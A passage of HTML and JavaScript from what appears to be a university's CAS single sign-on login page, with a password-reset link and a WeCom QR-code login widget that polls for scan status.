NBRG4yN0h4YkI5S083V0U4MzZlS2haREZRWklpMUJ6T2JxUXY3c2pXLXZJZE1MXzFsUWdpeUpTSG9FYmhPbGZVamJxbUNNc3hBNDJWOVpwdnFsTWlvd2Jxbl9kWmFNd0dWWlp3VGFwUnlNQTMwNmF0Vk1ZTVF2amlzVVFNR3ctYXJpWkNoR2s1Y0hqSWRObXRBc0Y0RjdtdGo3Tm8za01ZZFdZUm9FaW1GbzBIcmFKaVlZMzJtZ2NIbS02UVlhcjJPMW52Tll1MnNnUzRhVUtUX0ptMllXYTF1NGdqZERoYTluR0I4S290UlhGNFVrNXRFZTllbTdjN3h0eDhuSEZiQzNxVWhtS2RLNGJnTm5MbmRBNkxrQWhmRVBYdWlweTlVVkw3OTBaX0RpdmZoU3lZZVpia3cyR24xNi1UT2YtX3VteDVOSGRmWG83bmJwajhzZUxuTy1jNmNVYXktMUpJY3ZjUzVDLXJOM3FUWXhGMmxob0xKaEtzZmloWjZOYTNUWlpoN0oyRWNpNGpiMFNtZ21heEMzcnhaY2JTVHlrTUVkMUlPQmVyRGxMSTMxTUwyUE1KYzBaakZIRjJHMUFNTWd6bGNBMUU1TUhydkRfZ0t1cTRacmFWUzZISUNFSHdiYmhfb1htX2tTcVFDR20zR3hpZklUQXNiNTN0dF93blY2SElDbG9iY05fN1l1dFVFVlpDZndLNXo2czgwQWx6cG5aYTFwdVBER0VYLWVrT3RUTUdJdHNrbnVMLjd4MDBXWmd0WHljelYzRDNWd205UDVTUUZVcEVoR2pKTTYzbG45MTN0X0FMSmI5V2dya2k4X0tsWm9QTUdHWmxhTjEtcVByVVFhZHVBZ1FkeXBrc3pR" /><input type="hidden" name="_eventId" value="resetPassword" /><span class="fa fa-unlock"></span>
        <a href="javascript:void(0)"
           onclick="document.getElementById('passwordManagementForm').submit();" >忘记密码？</a>
    </form>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    

    </div>

                <script type="text/javascript">
                    /*<![CDATA[*/
                    var i = "One moment please..."
                    var j = "\u767B\u5F55"
                        /*]]>*/
                        $(window).on('pageshow', function () {
                            $(':submit').prop('disabled', false);
                            $(':submit').attr('value', j);
                        });
                    $(document).ready(function () {
                        $("#fm1").submit(function () {
                            $(":submit").attr("disabled", true);
                            $(":submit").attr("value", i);
                            return true;
                        });
                    });
                </script>


            </div>
            <div id="sidebar">
            <div class="sidebar-content">
                <p>出于安全考虑，一旦您访问过那些需要您提供凭证信息的应用时，请操作完成之后<a href="logout">登出</a>并关闭浏览器。</p>
            </div>
        </div>
        </div>
            </section>
            <section id="providers" class="login-section login-providers">
                <div>
            <!--                <h3 class="text-center mt-md-0 mt-4">--><!--                    <i class="fas fa-user-shield"></i>--><!--                    <span th:utext="#{screen.welcome.label.loginwith}">External Identity Providers</span>--><!--                </h3>--><div class="d-flex justify-content-center" style="display:block">
                <ul class="list-unstyled d-flex flex-column m-0 flex-fill">
                    <li class="p-1 login-provider-item">
                        <div id="myTabContent" class="tab-content">
                            <div id="weixin" style="height:405px;">
                                <div align="center">
                                    <h3 class="text-center">
                                        &nbsp;
                                        <!--<span th:utext="#{screen.wechat.login}">Wechat Login</span>-->
                                    </h3>
                                    <div class="impowerBox" style="width:280px;height:370px;display:block;">
                                        <div id="qrcode" style="background-color:white;width:280px;height:280px;">
                                            <div id="wx_after_warning" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg error" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>二维码已过期</h3>
                                                <p>您可尝试刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                            <div id="wx_after_cancel" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg warn" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>您已取消此次登录</h3>
                                                <p>您可以刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                        </div>
                                        <div class="info">
                                            <div class="status status_browser js_status" id="wx_default_tip"><p>请使用微信扫描二维码登录</p></div>
                                            <div class="status status_succ js_status" style="display:none" id="wx_after_scan"><i class="status_icon icon38_msg succ"></i><div class="status_txt"><h4>扫描成功</h4><p>请在企业微信中点击确认即可登录</p></div></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <script src="/cas/js/easy.qrcode.js"></script>
                            <script>
                                var uu = "clientredirect?client_name=Wework\u0026service=https%3A%2F%2Fwww.wozugou.com/ehall%2Famp-auth-adapter%2FloginSuccess%3FsessionToken%3Dacb6347433004e79ad02a4e307871bd3";
                                $.get(uu, {
                                }, function(data) {
                                    var temp = eval(data);
                                    var timer = null;
                                    var options = {
                                        text: temp.url,
                                        width: 280,
                                        height: 280,
                                        colorDark : "#000000",
                                        colorLight : "#ffffff",
                                        correctLevel : QRCode.CorrectLevel.L, // L, M, Q, H
                                        dotScale: 0.7,
                                        timing: '#000000',
                                        logo:"/cas/images/wecom.png",
                                        logoWidth:50,
                                        logoHeight:50
                                    }
                                    new QRCode(document.getElementById("qrcode"), options);
                                });
                                // function showWechatQR(){
                                timer = window.setInterval(showalert, 5000);
                                changeStatus("default");
                                // }
                                function showalert() {
                                    $.get("?client_name=Wework&wechat=check", {
                                    }, function(data) {
                                        var temp = JSON.parse(data);
                                        if(temp.status == "confirm"){
                                            clearInterval(timer);
                                            var form = $('<form id="pac4jLogin" action="" method="post">'+
                                                '<input name="client_name" value="'+temp.client_name+'">'+
                                                '<input name="state" value="'+temp.state+'">'+
                                                '<input name="code" value="'+temp.code+'">'+
                                                '</form>');
                                            $('body').append(form);
                                            form.submit();
                                            //window.location.replace(temp.redirect);
                                        }else if(temp.status == 'cancel'){
                                            clearInterval(timer);
                                            changeStatus(temp.status);
                                            window.event.returnValue = false;
                                        }else if(temp.status == 'scan'){
                                            changeStatus(temp.status)
                                        }else if(temp.status =='warning'){
                                            clearInterval(timer);
                                            changeStatus(temp.status)
                                        }
                                    });
                                }
                                function changeStatus(status){
                                    if(status === 'cancel'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").show();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'scan'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").show();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'default'){
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else{
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").show();
                                    }
                                }
                            </script>
                        </div>
                        <!--<iframe th:if="${entry.name == 'Wecom'}" th:src="@{${entry.redirectUrl}}" width="100%" height="400px" frameborder="0"></iframe>--></li>
                    </ul>
            </div>
        </div>
        <script>
            var redirectTo = $("a[autoRedirect=true]").attr("href");
            if (redirectTo != null && redirectTo != undefined) {
                window.location.href = redirectTo;
            }
        </script>
    </section>
<!--            <section id="acceptto" class="login-section login-qr d-xs-none d-md-block" th:if="${accepttoApplicationId}">--><!--                <div th:replace="fragments/accepttoQRCode :: accepttoQRCode">--><!--                    <a href="fragments/accepttoQRCode.html">accepttoQRCode</a>--><!--                </div>--><!--            </section>--></div>
    </div>
    </main>
</div>

<footer class="py-4 d-flex justify-content-center cas-footer">
    <div id="copyright" class="mr-2 d-inline-block">版权所有 &copy; 2020 南方科技大学 （支持电话:88010777）</div>
</footer>

</body>
</html>
